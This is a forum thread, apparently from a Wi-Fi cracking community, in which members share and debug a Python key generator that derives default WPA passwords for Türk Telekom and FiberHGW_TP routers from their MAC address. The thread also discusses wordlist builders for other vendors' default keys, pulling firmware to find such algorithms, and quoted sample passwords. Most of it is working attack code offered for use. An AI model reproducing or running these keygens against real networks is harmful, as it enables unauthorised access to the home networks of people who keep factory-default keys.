Unpublished WPA key algorithms

D3F4ULT

Active member
Contributor
Feedback: 0 / 0 / 0
Joined
Dec 30, 2019
Messages
346
Reaction score
77
Credits
570
Any knowledge about the FiberHGW_TP series? I believe they have some connection with the Turktelekom_T algorithm.
 

Sparton

Active member
Contributor
Feedback: 8 / 0 / 0
Joined
Dec 30, 2019
Messages
711
Reaction score
1,898
Credits
4,265
Same algorithm. Different charset.


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import re

def GetKey_TurkTelekom(bssid):
mac = bytes.fromhex(bssid)
charset = '3479abcdefghjkmnpqrstuvwxyzACDEFHJKLMNPRTUVWXY'
tmp_key = ''
xored_mac = bytearray(mac)
for i in range(6, 0, -1):
for j in range(i):
if i != 6:
xored_mac[j] ^= mac
tmp_key += charset[xored_mac[j] % 46]
key = ''
used = [0]*20
j = 7
for i in range(8):
key += tmp_key[j]
used[j] = 1
cnt = 0
for _ in range(20):
j = (j + 1) % 20
cnt += used[j] == 0
if cnt == 8:
break
return str(key)

def get_valid_bssid(bssid):
bssid = bssid.lower()
bssid = re.match("[0-9a-f]{2}([-:]?)[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", bssid)
if bssid:
return bssid[0].replace(':', '').replace('-', '')

def main():
if len(sys.argv) < 2:
print('Usage: {} <MAC>'.format(sys.argv[0]))
sys.exit(1)

bssid = get_valid_bssid(sys.argv[1])
if bssid:
print(GetKey_TurkTelekom(bssid))
else:
print("bssid must be in the format: 0A:0B:0C:1A:1B:1C, 0A-0B-0C-1A-1B-1C, or 0A0B0C1A1B1C")
sys.exit(1)

if __name__ == '__main__':
main()
 

drsnooker

Active member
Contributor
VIP Member
Feedback: 0 / 0 / 0
Joined
Aug 1, 2020
Messages
535
Reaction score
846
Credits
4,933
I figured I'd write a dictionary builder in C++ for Zykgen gin and juice. Goes from S090 to S180. Resulting in a 7Gb file with all passwords length 10
If you want to change the password length just edit the text file and re-compile.
Alternatively if you want a different cocktail (except for 1,3, 13 and 14) just change the ambiguous and non-ambiguous charsets.
Sadly failed to find the VIVO DSL-100NH-T1-NV unknown algo passwords
 

Attachments

  • zykgen_gin_juice.zip
    1.2 KB · Views: 15

D3F4ULT

Active member
Contributor
Feedback: 0 / 0 / 0
Joined
Dec 30, 2019
Messages
346
Reaction score
77
Credits
570
Same algorithm. Different charset.


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import re

def GetKey_TurkTelekom(bssid):
mac = bytes.fromhex(bssid)
charset = '3479abcdefghjkmnpqrstuvwxyzACDEFHJKLMNPRTUVWXY'
tmp_key = ''
xored_mac = bytearray(mac)
for i in range(6, 0, -1):
for j in range(i):
if i != 6:
xored_mac[j] ^= mac
tmp_key += charset[xored_mac[j] % 46]
key = ''
used = [0]*20
j = 7
for i in range(8):
key += tmp_key[j]
used[j] = 1
cnt = 0
for _ in range(20):
j = (j + 1) % 20
cnt += used[j] == 0
if cnt == 8:
break
return str(key)

def get_valid_bssid(bssid):
bssid = bssid.lower()
bssid = re.match("[0-9a-f]{2}([-:]?)[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", bssid)
if bssid:
return bssid[0].replace(':', '').replace('-', '')

def main():
if len(sys.argv) < 2:
print('Usage: {} <MAC>'.format(sys.argv[0]))
sys.exit(1)

bssid = get_valid_bssid(sys.argv[1])
if bssid:
print(GetKey_TurkTelekom(bssid))
else:
print("bssid must be in the format: 0A:0B:0C:1A:1B:1C, 0A-0B-0C-1A-1B-1C, or 0A0B0C1A1B1C")
sys.exit(1)

if __name__ == '__main__':
main()
Are you sure this is the correct script? I've just generated every possible key and none of the FiberHGW_TP keys are in that wordlist.
 

D3F4ULT

Active member
Contributor
Feedback: 0 / 0 / 0
Joined
Dec 30, 2019
Messages
346
Reaction score
77
Credits
570
Nevermind, I figured it out, it was my bad. Thanks for the script!
 

FiosFiend

Active member
Feedback: 0 / 0 / 0
Joined
Apr 6, 2025
Messages
177
Reaction score
204
Credits
2,844
What was the issue? I couldn’t get it to work either, it didn’t seem to like the xored part.
 

Dawbs

Super Moderator
Staff member
Super Moderator
Trusted
Feedback: 3 / 0 / 0
Joined
Dec 30, 2019
Messages
4,302
Reaction score
3,613
Credits
19,447
This should work. If someone can confirm or not.

Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import re

def GetKey_TurkTelekom(bssid):
    mac = bytes.fromhex(bssid)
    charset = '3479abcdefghjkmnpqrstuvwxyzACDEFHJKLMNPRTUVWXY'
    tmp_key = ''
    xored_mac = bytearray(mac)
    for i in range(6, 0, -1):
        for j in range(i):
            if i != 6:
                xored_mac[j] ^= mac[i]
            tmp_key += charset[xored_mac[j] % 46]
    key = ''
    used = [0]*20
    j = 7
    for i in range(8):
        key += tmp_key[j]
        used[j] = 1
        cnt = 0
        for _ in range(20):
            j = (j + 1) % 20
            cnt += used[j] == 0
            if cnt == 8:
                break
    return str(key)

def get_valid_bssid(bssid):
    bssid = bssid.lower()
    bssid = re.match("[0-9a-f]{2}([-:]?)[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", bssid)
    if bssid:
        return bssid[0].replace(':', '').replace('-', '')

def main():
    if len(sys.argv) < 2:
        print('Usage: {} <MAC>'.format(sys.argv[0]))
        sys.exit(1)

    bssid = get_valid_bssid(sys.argv[1])
    if bssid:   
        print(GetKey_TurkTelekom(bssid))
    else:
        print("bssid must be in the format: 0A:0B:0C:1A:1B:1C, 0A-0B-0C-1A-1B-1C, or 0A0B0C1A1B1C")
        sys.exit(1)

if __name__ == '__main__':
    main()
 

SubZero5

Active member
Feedback: 0 / 0 / 0
Joined
Apr 23, 2020
Messages
300
Reaction score
20
Credits
3,226
Any knowledge about the FiberHGW_TP series? I believe they have some connection with the Turktelekom_T algorithm.
There are also wifi devices named similarly like FiberHGW_ZTxxxx for ZTE manufactured, FiberHGW_HUxxxx for Huawei manufactured routers too...
 

FiosFiend

Active member
Feedback: 0 / 0 / 0
Joined
Apr 6, 2025
Messages
177
Reaction score
204
Credits
2,844
There are also wifi devices named similarly like FiberHGW_ZTxxxx for ZTE manufactured, FiberHGW_HUxxxx for Huawei manufactured routers too...

You’ve been a member longer than me, so you already know that we need the firmware first. However ZTE and Huawei rarely leave the algorithms.
 

drsnooker

Active member
Contributor
VIP Member
Feedback: 0 / 0 / 0
Joined
Aug 1, 2020
Messages
535
Reaction score
846
Credits
4,933
@SubZero5 Have you seen any evidence that anybody has a keygen for those? (on different forums perhaps) If somebody has cracked them, it might be worth a look. If not, we know that ZTE and Huawei do not include their WIFI keygens in any of the firmware we have looked at so far, so it's a real long shot.
 

SubZero5

Active member
Feedback: 0 / 0 / 0
Joined
Apr 23, 2020
Messages
300
Reaction score
20
Credits
3,226
@SubZero5 Have you seen any evidence that anybody has a keygen for those? (on different forums perhaps) If somebody has cracked them, it might be worth a look. If not, we know that ZTE and Huawei do not include their WIFI keygens in any of the firmware we have looked at so far, so it's a real long shot.
Never seen anything like that. And I think that probably you could only see and/or find/extract the firmware upgrade files. You need to find a factory image file... Maby a device needs to be opened and it's firmware needs to be extracted... 🤔
 

FiosFiend

Active member
Feedback: 0 / 0 / 0
Joined
Apr 6, 2025
Messages
177
Reaction score
204
Credits
2,844
Never seen anything like that. And I think that probably you could only see and/or find/extract the firmware upgrade files. You need to find a factory image file... Maby a device needs to be opened and it's firmware needs to be extracted... 🤔
Firmware upgrade files are still good places to look for algorithms, they usually contain the complete code not just the “upgrades”. We’re lucky when the vendor provides the firmware for us, more often though it requires catching the upgrade link with wire shark or pulling the firmware from the physical device. Both of those require us to have a unit on hand, and you’re probably the closest person to having one. If you’re able to obtain a unit, we can likely help you learn how to do this.

@Sparton let me know that the algorithm he shared only works on the 8 length AC1200 models. The newer TP-Link HGW AX1800 Model EX20v are 12 length and does not work on them. The newer TP HGW uses the same charset but a different algo. So there are still some interesting things to uncover there…
 

Str0nger

New member
Feedback: 0 / 0 / 0
Joined
Sep 17, 2025
Messages
4
Reaction score
12
Credits
51

Sparton

Active member
Contributor
Feedback: 8 / 0 / 0
Joined
Dec 30, 2019
Messages
711
Reaction score
1,898
Credits
4,265

Str0nger

New member
Feedback: 0 / 0 / 0
Joined
Sep 17, 2025
Messages
4
Reaction score
12
Credits
51
Are you using the box MAC in the command line? Wifi MAC -2
The dictionary created by your algorithm with the MAC address range 6C-E8-73-00-00-00 to 6C-E8-73-FF-FF-FF does not contain the passwords 3hJ3vzyw VhyKjKXn Wa7fuXPe
 

Sparton

Active member
Contributor
Feedback: 8 / 0 / 0
Joined
Dec 30, 2019
Messages
711
Reaction score
1,898
Credits
4,265
The script that was posted is a single MAC entry and a single password output. It will not produce a wordlist of complete MAC prefix passwords the way it is.
 
Top